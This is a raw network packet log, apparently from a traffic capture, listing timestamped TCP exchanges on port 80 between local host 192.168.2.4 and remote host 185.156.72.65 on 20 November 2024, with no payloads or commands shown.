Nov 20, 2024 05:02:21.122138023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122160912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122162104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122183084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122185946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122204065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122227907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122237921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122248888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122256041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122272015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122283936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122292995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122309923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122309923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122309923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122327089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122329950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122343063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122348070 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122359991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122375011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122390032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122394085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122394085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122406006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122416019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122422934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122437954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122452021 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122453928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122469902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122473955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122484922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122493982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122502089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122513056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122519016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122535944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122539997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122550964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122565031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122565985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122565031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122581959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122590065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122597933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122612953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122613907 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122627974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122633934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122644901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122658968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122659922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122677088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122679949 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122692108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122703075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122709036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122725010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122725964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122744083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122747898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122760057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122775078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122776985 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122790098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122802019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122802019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122807026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122821093 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122823000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122839928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122848988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122848988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122855902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122869015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122872114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122888088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122888088 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122903109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122911930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122911930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122919083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122931957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122936010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122951031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122951984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122968912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122977972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122977972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122984886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123002052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123013020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123013020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123018026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123033047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123034954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123051882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123059988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123059988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123068094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123080015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123085022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123100996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123100042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123117924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123126984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123126984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123135090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123147011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123152018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123167038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123168945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123186111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123193979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123193979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123203039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123213053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123219013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123230934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123235941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123250961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123255014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123270988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123277903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123277903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123286009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123302937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123303890 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123303890 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123330116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123339891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123341084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123347998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123366117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123379946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123395920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123405933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123406887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123406887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123409986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123426914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123436928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123445034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123452902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123461008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123476982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.123478889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123497963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123522997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.123523951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.341736078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.341792107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.400964022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.401072979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.405936956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.405955076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.405970097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.405988932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406048059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406048059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406109095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406125069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406140089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406152010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406156063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406176090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406181097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406181097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406193018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406203032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406208992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406227112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406227112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406249046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406256914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406275034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406289101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406303883 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406306982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406306982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406320095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406327009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406337976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406347990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406371117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406371117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406378031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406394005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406408072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406420946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406423092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406440020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406449080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406449080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406459093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406470060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406475067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406497955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406497955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406516075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406527042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406559944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406574011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406589031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406603098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406605005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406603098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406621933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406627893 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406639099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406655073 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406655073 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406677961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406689882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406713963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406728983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406732082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406744957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406749964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406760931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406775951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406775951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406780958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406796932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406801939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406812906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406816959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406840086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406860113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406860113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406877041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406893015 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406900883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406908989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406922102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406924963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406948090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406948090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406969070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.406972885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.406985044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407000065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407015085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407018900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407020092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407030106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407047033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407047033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407047033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407062054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407066107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407083988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407102108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407109022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407131910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407147884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407162905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407174110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407174110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407179117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407196045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407202005 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407212019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407228947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407229900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407229900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407255888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407274008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407280922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407295942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407324076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407334089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407334089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407341957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407356024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407358885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407380104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407397985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407398939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407426119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407440901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407448053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407457113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407470942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407470942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407473087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407490969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407495022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407521009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407521009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407536983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407552004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407587051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407598019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407598972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407603025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407619953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407634020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407649040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407663107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407670975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407670975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407677889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407694101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407701015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407736063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407747984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407763004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407777071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407792091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407797098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407808065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407824039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407830000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407830000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407840014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407850027 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407856941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407876968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407897949 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407907963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407923937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407938004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407955885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407963991 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.407985926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.407985926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408005953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408010960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408026934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408029079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408044100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408051968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408058882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408076048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408077002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408077002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408092976 CET	80	49730	185.156.72.65	192.168.2.4
